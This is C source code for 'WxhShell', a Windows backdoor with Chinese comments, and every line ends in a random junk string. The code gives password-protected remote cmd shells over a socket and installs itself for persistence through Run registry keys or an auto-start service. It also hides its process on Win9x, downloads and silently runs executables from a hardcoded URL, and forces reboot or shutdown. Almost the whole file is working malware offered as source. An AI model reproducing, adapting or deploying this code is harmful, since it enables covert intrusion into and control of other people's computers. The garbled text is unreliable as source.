    if(Boot(SHUTDOWN)) +fQJ#?N2n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dZ4c!3'F  
    else { Q 87'zf  
    closesocket(wsh); $<3^( y  
    ExitThread(0); ,}NTV ~  
    } gJ^taUE  
    break; 4zZ.v"laVM  
    } Y+5aT(6O  
  // 获取shell U.Y7]#P:  
  case 's': { `]a0z|2'!  
    CmdShell(wsh); ,Kt51vGi  
    closesocket(wsh); U/_hH*N"!  
    ExitThread(0); FuG;$';H75  
    break; N*)O_Ki  
  } NCgKWyRR  
  // 退出 ,;f5OUl?[  
  case 'x': { F^5\w-gLY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hS&.-5v  
    CloseIt(wsh); 2UxmKp[  
    break; #5iy^?N"w  
    } [GcW*v  
  // 离开 yq[@Cw  
  case 'q': { by\Sq}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DcE4r>8B  
    closesocket(wsh); |7${E^u  
    WSACleanup(); #aiI]'  
    exit(1); X8wtdd]64  
    break; KN>h*eze  
        } _hMFmI=r[  
  } }y vH)q  
  } I+31:#d  
7m}fVLk  
  // 提示信息 }'K-1:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,sT5TS q  
} Y~?Z'uR  
  } Pz 0TAb  
*]nk{jo2  
  return; U2v;GIo$yU  
} A2 $05a$%  
}F|B'[wn  
// shell模块句柄 dN7.W   
int CmdShell(SOCKET sock) '*Ld,`  
{ }$ Kd-cj+  
STARTUPINFO si; CTxP3a9]  
ZeroMemory(&si,sizeof(si)); {qOqtkj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CyXaHO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }Yc5U,A;  
PROCESS_INFORMATION ProcessInfo; P'DcNMdw  
char cmdline[]="cmd"; |kTq &^$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WBb*2  
  return 0; !Uv>>MCr  
} l]gW_wUQd  
q([{WZ:6Oq  
// 自身启动模式 =^\?{oV  
int StartFromService(void) %jHe_8=o  
{ B{p74 >  
typedef struct zg$ag4%Qgg  
{ #Tt*NU  
  DWORD ExitStatus; uBxoMxWm  
  DWORD PebBaseAddress; O%haaL\  
  DWORD AffinityMask; &gUa^5'#  
  DWORD BasePriority; 6Nt/>[  
  ULONG UniqueProcessId; 7 p1B"%  
  ULONG InheritedFromUniqueProcessId; z7+>G/o  
}   PROCESS_BASIC_INFORMATION; 4YR{ *  
N Hn #c3o  
PROCNTQSIP NtQueryInformationProcess; _dmG#_1  
96P&+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NEvNj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MSRk|0Mcr  
i0zrXaKV  
  HANDLE             hProcess; tU *`X(;  
  PROCESS_BASIC_INFORMATION pbi; b=U3&CV9  
p#_ 5w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *2rc Y  
  if(NULL == hInst ) return 0; tGzp= PyA  
ayQeT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); drk BW}_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Od:-fw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B^/k`h6J  
o\; hF3   
  if (!NtQueryInformationProcess) return 0; \Hf/8!q  
`uZMln @  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *)Cr1d k  
  if(!hProcess) return 0; ?%Ww3cU+J  
e8#83|h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <XtE|LG  
/+8VW;4|I  
  CloseHandle(hProcess); cG%X}ZV5  
rs( e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f re5{=@  
if(hProcess==NULL) return 0; pLys%1hg  
/J&ks>St  
HMODULE hMod; +r9neS.l  
char procName[255]; "z;R"sv\  
unsigned long cbNeeded; ~"<^4h  
E!BzE_|i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~(7ct*U~  
_N)&<'lB<  
  CloseHandle(hProcess); 1iNMgA  
=p"ma83  
if(strstr(procName,"services")) return 1; // 以服务启动 p \9}}t7n  
w7&.U qjf  
  return 0; // 注册表启动 @65xn)CD{  
} sriDta?Cz  
M)nh~gU  
// 主模块 iz{TSU  
int StartWxhshell(LPSTR lpCmdLine) Q'JK *.l  
{ u6Wan*I?  
  SOCKET wsl; Y_EEnx&>i  
BOOL val=TRUE; +!!G0Zj/  
  int port=0;  K+XUC  
  struct sockaddr_in door; %5DM ew  
d3S Me  
  if(wscfg.ws_autoins) Install(); .\&k]}0qA?  
?u/UV,";y  
port=atoi(lpCmdLine); {?2|rv)  
'W>y v  
if(port<=0) port=wscfg.ws_port; |lg jI!iK  
}L&LtW{X  
  WSADATA data; (DS"*4ty  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SbzJeaZv  
o4J@M{xb_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g_N^Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jj 5VBI!Ok  
  door.sin_family = AF_INET; +."cbqGP_q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k_ywwkG9lU  
  door.sin_port = htons(port); <VutwtA  
s{8=Q0^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G--(Ef%v'  
closesocket(wsl); :FfEjNil  
return 1; f}p`<z   
} &/ED.K  
RqP_^tB  
  if(listen(wsl,2) == INVALID_SOCKET) { &q9=0So4\  
closesocket(wsl); ^y KkWB*  
return 1; Bz kfB:wr  
} F|qMo|  
  Wxhshell(wsl); 5E1`qof  
  WSACleanup(); `9+R]C]z8  
`b]wyP  
return 0; &R?to>xr \  
6H5o/)Q~  
} pe2:~}WB  
VJT /9O)Z|  
// 以NT服务方式启动 Y_n3O@,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {"%a-*@%  
{ kh:_,g  
DWORD   status = 0; Lo#G. s|  
  DWORD   specificError = 0xfffffff; c@"FV,L>  
peT91b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _DT,iF*6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dJQK|/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W5= j&&|!  
  serviceStatus.dwWin32ExitCode     = 0; EhM=wfGKw  
  serviceStatus.dwServiceSpecificExitCode = 0; bgKC^Q/F  
  serviceStatus.dwCheckPoint       = 0; M \  
  serviceStatus.dwWaitHint       = 0; -!\%##r7~  
P=KhR&gwV~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,aGIq. *v  
  if (hServiceStatusHandle==0) return; *78c2`)[  
m- ibS:  
status = GetLastError(); }^$1<GT  
  if (status!=NO_ERROR) Ry"4v_e9  
{ #+V4<o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cL ~WDW/  
    serviceStatus.dwCheckPoint       = 0; a$Y{ut0t(  
    serviceStatus.dwWaitHint       = 0; T *PEUq  
    serviceStatus.dwWin32ExitCode     = status; dcD#!v\0  
    serviceStatus.dwServiceSpecificExitCode = specificError; & rD8ng+$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iLNUydiS  
    return; [ }Tb2|  
  } b1jDbiH&  
[fV"tf;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z"_8 l3  
  serviceStatus.dwCheckPoint       = 0; ^v'0\(H?P  
  serviceStatus.dwWaitHint       = 0; G.~ Q2O#T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); REE .8_  
} !ehjLFS?_  
strM3j##x  
// 处理NT服务事件,比如:启动、停止 2,`X@N`\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $fT5Vc]B4  
{ f\_PNZCc  
switch(fdwControl) 3nc\6v%  
{ O6)Po  
case SERVICE_CONTROL_STOP: .m l\z5  
  serviceStatus.dwWin32ExitCode = 0; KsE$^`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?kQY ^pU  
  serviceStatus.dwCheckPoint   = 0; v @0G^z|  
  serviceStatus.dwWaitHint     = 0; gh\u@#$8  
  { ,=4,eCS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qg~w 3~  
  } s(5hFuyg  
  return; ;CF:cH*  
case SERVICE_CONTROL_PAUSE: *pSnEWwE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &*ocr&  
  break; CJ%'VijhD  
case SERVICE_CONTROL_CONTINUE: K8MET&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o5DT1>h  
  break; ^>Z_3 {s:$  
case SERVICE_CONTROL_INTERROGATE: 1/w8'Kf'u  
  break; h]t v+\0  
}; %<a3[TQd`\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B ;E"VS0  
} w9VwZow  
?O#,{ZZf=  
// 标准应用程序主函数 z,x )Xx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ao}<a1f  
{ dVj2x-R)  
Nr `R3(X  
// 获取操作系统版本 LO)!Fj4|  
OsIsNt=GetOsVer(); Y z&!0Hfd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fj~suZ`  
%aMC[i  
  // 从命令行安装 G$V=\60a-  
  if(strpbrk(lpCmdLine,"iI")) Install(); BO7HJF)a  
P(b[|QF  
  // 下载执行文件 1.3dy]vG  
if(wscfg.ws_downexe) { 43B0ynagN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I[ \7Bf  
  WinExec(wscfg.ws_filenam,SW_HIDE); uGb+ *tD  
} lGWz  
U'(zKqC   
if(!OsIsNt) { H@G$K@L  
// 如果时win9x,隐藏进程并且设置为注册表启动 'G>XI;g  
HideProc(); L@s6u +uu  
StartWxhshell(lpCmdLine); w)zJ $l  
} em3+V  
else Y * rujn{  
  if(StartFromService()) oo &|(+"O_  
  // 以服务方式启动 df@NV Ld  
  StartServiceCtrlDispatcher(DispatchTable); eT3!"+p-F  
else U\:Y*Ai  
  // 普通方式启动  @9_mk@  
  StartWxhshell(lpCmdLine); {G x=QNd  
{\0V$#q   
return 0; @XM*N7  
} 'Gc{cNbXIA  
MooH`2Fd  
6A]I" E]5  
6P717[  
=========================================== u%:`r*r  
"IzAvKPM  
XK3O,XM  
^O@eyP  
B!x#|vGXL  
l+P!I{n  
" ZwLr>?0$ p  
?rQ .nN  
#include <stdio.h> \zg R]|  
#include <string.h> eg}g} a  
#include <windows.h> 6_QAE6A  
#include <winsock2.h> ~&T U  
#include <winsvc.h> iD|~$<9o  
#include <urlmon.h> '%ilF1#  
~^a>C  
#pragma comment (lib, "Ws2_32.lib") T[1iZ  
#pragma comment (lib, "urlmon.lib") (:OMt2{r  
*1kFy_Gx  
#define MAX_USER   100 // 最大客户端连接数 aHuMm&  
#define BUF_SOCK   200 // sock buffer qK d ="PR}  
#define KEY_BUFF   255 // 输入 buffer o [V8h @K)  
l9Ol|Cb&  
#define REBOOT     0   // 重启 /KOI%x  
#define SHUTDOWN   1   // 关机 DoQ^caa@  
c:.5@eq^  
#define DEF_PORT   5000 // 监听端口 "kFH*I+v  
r1-MO`6  
#define REG_LEN     16   // 注册表键长度 6}I X{nQI  
#define SVC_LEN     80   // NT服务名长度 \)t//0  
d;l%XZe  
// 从dll定义API sGhw23  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !nkIXgWz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r/AOgS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i'H]N8,A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LJPJENtFIs  
-F`GZ  
// wxhshell配置信息 zNt//,={  
struct WSCFG { l3F$5n  
  int ws_port;         // 监听端口 >YWK"~|i~  
  char ws_passstr[REG_LEN]; // 口令 )4B`U(%M~  
  int ws_autoins;       // 安装标记, 1=yes 0=no zX*5yNd  
  char ws_regname[REG_LEN]; // 注册表键名 OXQA(%MK  
  char ws_svcname[REG_LEN]; // 服务名 }B7Txo,Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |}z5ST%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h'&<A_C-7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~%=%5}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X [dfms;H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j3-o}6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oX:&;KA  
~$K{E[^<  
}; DL4`j>2Ov  
vFdI?(c-  
// default Wxhshell configuration /+%aSPQ  
struct WSCFG wscfg={DEF_PORT, $%bd`d*S  
    "xuhuanlingzhe", jnOnV1I"  
    1, Lw[=pe0e  
    "Wxhshell", 5\h 6"/6Df  
    "Wxhshell", X:Wd%CHP  
            "WxhShell Service", v.8kGF  
    "Wrsky Windows CmdShell Service", n4dNGp7\`  
    "Please Input Your Password: ", H}~K51  
  1, SF; \*]["f  
  "http://www.wrsky.com/wxhshell.exe", zW#5 /*@  
  "Wxhshell.exe" fn 'n'X|  
    }; ]vf0f,F  
3>7{Q_5  
// 消息定义模块 z4BU}`;b3t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MnFrQC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hu0z 36  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _J,rql@nG<  
char *msg_ws_ext="\n\rExit."; ._tEDY/1m  
char *msg_ws_end="\n\rQuit.";  ;303fS  
char *msg_ws_boot="\n\rReboot..."; cSYCMQ1ro  
char *msg_ws_poff="\n\rShutdown..."; vv,<#4d  
char *msg_ws_down="\n\rSave to "; QAxy?m,'  
%XukiA+  
char *msg_ws_err="\n\rErr!"; }(u:K}8  
char *msg_ws_ok="\n\rOK!"; KPz0;2}  
BZ.l[LMp  
char ExeFile[MAX_PATH]; ${z#{c1  
int nUser = 0; eC<RM Q4  
HANDLE handles[MAX_USER]; sjLMM_'  
int OsIsNt; OW};i|  
meV Z_f/  
SERVICE_STATUS       serviceStatus; +%9Re5R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b`+yNf  
Ix_w.f=8  
// 函数声明 k%~;mu"4}  
int Install(void); Bq)dqLwk  
int Uninstall(void); 4Us,DS_/  
int DownloadFile(char *sURL, SOCKET wsh); [n/c7Pe  
int Boot(int flag); / S' +  
void HideProc(void); S'|PA7a}h  
int GetOsVer(void); o N A ]G]  
int Wxhshell(SOCKET wsl); g`'!Vgd?M[  
void TalkWithClient(void *cs); Brs6RkRf  
int CmdShell(SOCKET sock); jq]5Y^e  
int StartFromService(void); DTA$,1JuD  
int StartWxhshell(LPSTR lpCmdLine); x f{`uHa8  
9O&gR46.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sd ^I >;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d.w]\  
6BA$v-VVU  
// 数据结构和表定义 m,kYE9 {  
SERVICE_TABLE_ENTRY DispatchTable[] = xF3FY0U[  
{ L"9Z{o7  
{wscfg.ws_svcname, NTServiceMain}, 8 vq-|p  
{NULL, NULL} OT$ Ne  
}; e?;c9]XO,o  
.u ikte  
// 自我安装 Y5CkCF  
int Install(void) \8ZVI98  
{ A/a=)s u  
  char svExeFile[MAX_PATH]; CB>W# P%  
  HKEY key; |$IL:W6  
  strcpy(svExeFile,ExeFile); f@!9~s  
o9| OL  
// 如果是win9x系统,修改注册表设为自启动 |(W04Wp"@  
if(!OsIsNt) { egA* x*8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TDk[,4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 0nu^ _  
  RegCloseKey(key); Zl9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cz/ E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q{S{|.w-  
  RegCloseKey(key); 7t<h 'g2  
  return 0; khR[8j..  
    } .53 M!  
  } nl(GoX$vRQ  
} 4=^Ha%l  
else { V/\Y(Mxc  
g?xXX /Qe  
// 如果是NT以上系统,安装为系统服务 I:DAn!N-A*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FsOJmWZ  
if (schSCManager!=0) w3 vZ}1|  
{ 1l)j(,Zd*  
  SC_HANDLE schService = CreateService 7&P70DO  
  ( yy/'B:g  
  schSCManager, Jjj;v2uSK  
  wscfg.ws_svcname, rd%uc~/  
  wscfg.ws_svcdisp, Z >R@  
  SERVICE_ALL_ACCESS, F|+B8&-v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a.UYBRP/l  
  SERVICE_AUTO_START, Pm^FSw"  
  SERVICE_ERROR_NORMAL, 99:.j=  
  svExeFile, #w5%^ HwO  
  NULL, tR9iFv_  
  NULL, 5#|&&$)  
  NULL, KAE %Wwjr  
  NULL, /0k'w%V{n  
  NULL Jo[ &y,  
  ); !jB}}&Ii  
  if (schService!=0) B+Qo{-  
  { !.#g   
  CloseServiceHandle(schService); O\cc=7  
  CloseServiceHandle(schSCManager); `2+TN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 32 j){[PL3  
  strcat(svExeFile,wscfg.ws_svcname); U:7w8$_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F> Ika=z,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8VU(+%X  
  RegCloseKey(key); =os!^{p7>  
  return 0; JDa_;bqL  
    } POl-S<QV  
  } E[ -yfP~[  
  CloseServiceHandle(schSCManager);  s=:LS  
} OB=bRLd.IR  
} pheu48/f  
1Ci^e7|?  
return 1; z"  z$.c  
} =ePwGm1:c  
z7?SuJ  
// 自我卸载 yMkR)HY  
int Uninstall(void) -@w}}BR  
{ Cz5U  
  HKEY key; KRd'!bG=1  
gI RZkT`  
if(!OsIsNt) { 4@F8-V3q4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /160pl 4  
  RegDeleteValue(key,wscfg.ws_regname); EGv]K|  
  RegCloseKey(key); 2 7dS.6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v;z8g^L  
  RegDeleteValue(key,wscfg.ws_regname); (aJ$1bT=T  
  RegCloseKey(key); :rufnmsP<U  
  return 0; ^j.3'}p  
  } YsCY~e&  
} daA&!vnbH*  
} +6+1N)L  
else { Kn1u1@&Xd  
ZBU<L+#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); krlebPs[  
if (schSCManager!=0) elKp?YN  
{ IAb.Z+ig  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c"CR_  
  if (schService!=0) i,RbIZnJ  
  { cRag0.[  
  if(DeleteService(schService)!=0) { 7|Wst)_~j  
  CloseServiceHandle(schService); #NMQN*J>D  
  CloseServiceHandle(schSCManager); }YC=q  
  return 0; w0yzC0yBk  
  } Xe`$SNM  
  CloseServiceHandle(schService); I%[Tosud<  
  } K4|fmgcy.  
  CloseServiceHandle(schSCManager); ebL0cK?  
} 75P!`9bE  
} &,Rye Q  
7?_g m>]a  
return 1; XF3lS#pt  
} c*[aIqj  
ESIeZhXVH  
// 从指定url下载文件 eUu<q/FUMj  
int DownloadFile(char *sURL, SOCKET wsh) ~(c<M>Q8  
{ :SMf (E 5  
  HRESULT hr; 1z,P"?Q  
char seps[]= "/"; 3h o'\Ysu/  
char *token; +Swl$ab  
char *file; F2(^O Fh  
char myURL[MAX_PATH]; 9}K K]m6u}  
char myFILE[MAX_PATH]; h3\(660>$  
p@DVy2,EY  
strcpy(myURL,sURL); y^X]q[-?  
  token=strtok(myURL,seps); 5Em.sz;:8  
  while(token!=NULL) \G/ZA) t  
  { A2PeI"y  
    file=token; ;u';$0  
  token=strtok(NULL,seps); h6`VU`pPI  
  } \Yv4 4*I`  
md9JvbB  
GetCurrentDirectory(MAX_PATH,myFILE); 4/SltWU  
strcat(myFILE, "\\"); E.*wNah"U  
strcat(myFILE, file); V^ ;l g[:  
  send(wsh,myFILE,strlen(myFILE),0); _S &6XNV  
send(wsh,"...",3,0); F5UHkv"K&O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ f<g?w  
  if(hr==S_OK) 4w 7vgB  
return 0; 3s*mq@~1X  
else `'(@"-L:7  
return 1; 6|6O| <o  
BT -Y9j  
} t B}W )Eb  
:q2RgZE  
// 系统电源模块 :.-KM7tDI1  
int Boot(int flag) L&5zr_  
{ m+pK,D~{"  
  HANDLE hToken; WdJeh:h  
  TOKEN_PRIVILEGES tkp; Z\1`(Pq7`  
0!axAvBV  
  if(OsIsNt) { n:<Xp[;R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $['`H)z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QS,_=< (  
    tkp.PrivilegeCount = 1; \D%n8O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OMjx,@9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z#;\Rb.x7  
if(flag==REBOOT) { u VUrg;>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5!6iAS+I  
  return 0; _|{pO7x]oG  
} i MS4<`  
else { 7{rRQ~s&g9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $qoal   
  return 0; Y\(?&7Aax  
} puF*WxU)  
  } Us>n`Lj@  
  else { ]h=y  
if(flag==REBOOT) { :`@W`V?6-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W3MH8z   
  return 0; p5nrPL  
} tKi ^0vE8  
else { <V8=*n"mR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^h<ElK  
  return 0; VhgcvS@V  
} s"wz !{G4  
} 0|rdI,z  
IPY[x|  
return 1; q6 4bP4K  
} <z wI@i  
 <j_  
// win9x进程隐藏模块 eTtiAF=bW  
void HideProc(void) # o\&G@e}  
{ bU4\Yu   
0}Q d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fAT M?  
  if ( hKernel != NULL ) ~~,#<g[  
  { QP6a,^];  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'sjks sy.3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3"6-X_  
    FreeLibrary(hKernel); R <u\ -  
  } Xpmi(~n  
4?x$O{D5?{  
return; &y2DI"Ff  
} x Sv@K5"8!  
UzkX;UA  
// 获取操作系统版本 l_ &T)Ei  
int GetOsVer(void) ?d)eri8,  
{ &!8u4*K5j  
  OSVERSIONINFO winfo; ?)/H8n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +|O& k  
  GetVersionEx(&winfo); }M(XHw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _^w^tfH]  
  return 1; X5P1wxk'  
  else 7(zY:9|(  
  return 0; SciEHI#  
} "3a_C,\  
~uO9>(?D  
// 客户端句柄模块 m\|ie8  
int Wxhshell(SOCKET wsl) kQtnT7  
{ I9 jzR~T  
  SOCKET wsh; $K~ t'wr  
  struct sockaddr_in client; /}-LaiS  
  DWORD myID; &?SU3@3|  
&PEw8: TX  
  while(nUser<MAX_USER) |w`Q$ c  
{ g _u  
  int nSize=sizeof(client); [V,f@}m F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x):h|/B  
  if(wsh==INVALID_SOCKET) return 1; |H-zm&h>'  
t=r*/DxX=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &qeM YYY  
if(handles[nUser]==0) ;c>IM]  
  closesocket(wsh); 4p/d>DTiM  
else 4ko(bW#jL  
  nUser++; nx`I9j\  
  } -(![xZ1{K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kM@heFJb.  
^WIGd"^  
  return 0; JVNp= ikK  
} iED gcg7  
gA DF  
// 关闭 socket " [K>faV  
void CloseIt(SOCKET wsh) GMoE,L  
{ Nc[u?-  
closesocket(wsh); K(p6P3Z  
nUser--; %>k$'UWzK  
ExitThread(0); kT4Tb%7KM  
} ;PX>] r5U0  
lhx]r}@'MC  
// 客户端请求句柄 A{QA0X!p  
void TalkWithClient(void *cs) gLPgh%B4  
{ s4{>7`N2  
+,ojlTVlt  
  SOCKET wsh=(SOCKET)cs; vBjrI*0  
  char pwd[SVC_LEN]; 2t"&>1  
  char cmd[KEY_BUFF]; ."JtR  
char chr[1]; %$SO9PY  
int i,j; 6"Rw&3D?  
+d,Z_ 6F  
  while (nUser < MAX_USER) { 0N>R!  
l)( 3]  
if(wscfg.ws_passstr) { XVkCYh4,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kh2!c+Mw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); );5H<[  
  //ZeroMemory(pwd,KEY_BUFF); kG$U  
      i=0; vTUhIFa{  
  while(i<SVC_LEN) { dn@_\5  
"~/O>.p  
  // 设置超时 $23dcC*hI  
  fd_set FdRead; 'nh^'i&0.  
  struct timeval TimeOut; :Z5Twb3h  
  FD_ZERO(&FdRead); xc6A&b>jI  
  FD_SET(wsh,&FdRead); Q !G^CG  
  TimeOut.tv_sec=8; 6'1m3<G_  
  TimeOut.tv_usec=0; XhG3Of-6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O;?Nz:/q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uu+)r  
*.F4?i2D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); use` y^c  
  pwd=chr[0]; 'Q F@@48  
  if(chr[0]==0xd || chr[0]==0xa) { #Vi:-zyY  
  pwd=0; Y|96K2BR  
  break; Z`Sbq{Kx  
  } L4-v'Z;  
  i++; t bEJyA  
    } H|*Ual  
rc+}KO  
  // 如果是非法用户,关闭 socket -yP_S~ \n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %T'<vw0  
} 6E@qZvQ  
r;c ILS|Xr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 79O'S du@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VgyY7INx9  
_Kf8,|+  
while(1) { v)J(@>CZ[  
V+&C_PyC  
  ZeroMemory(cmd,KEY_BUFF); ~V6wcXd  
n(tx'&U"R  
      // 自动支持客户端 telnet标准   L:E?tR}H  
  j=0; >crFIkOJ  
  while(j<KEY_BUFF) { _/`H<@B_U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  q,v)X  
  cmd[j]=chr[0]; 9S]]KEGn4  
  if(chr[0]==0xa || chr[0]==0xd) { Cmj+>$')0  
  cmd[j]=0; Yb;$z'  
  break; XdxSi"+  
  } >qC,IQ'  
  j++; r`GA5 }M  
    } Th>ff)~ e  
G"|`&r@  
  // 下载文件 %$ CV?K$C  
  if(strstr(cmd,"http://")) { cHjnuL0fsy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q aZQ1<e  
  if(DownloadFile(cmd,wsh)) DA wUG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Cx?%X^b  
  else Gj H$!P=.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Js}1_K  
  } ztb?4f q6)  
  else { nBJ'ak   
Uon^z?0A  
    switch(cmd[0]) { ?0J&U4  
  c$#7Kp4  
  // 帮助 FH7h?!|t  
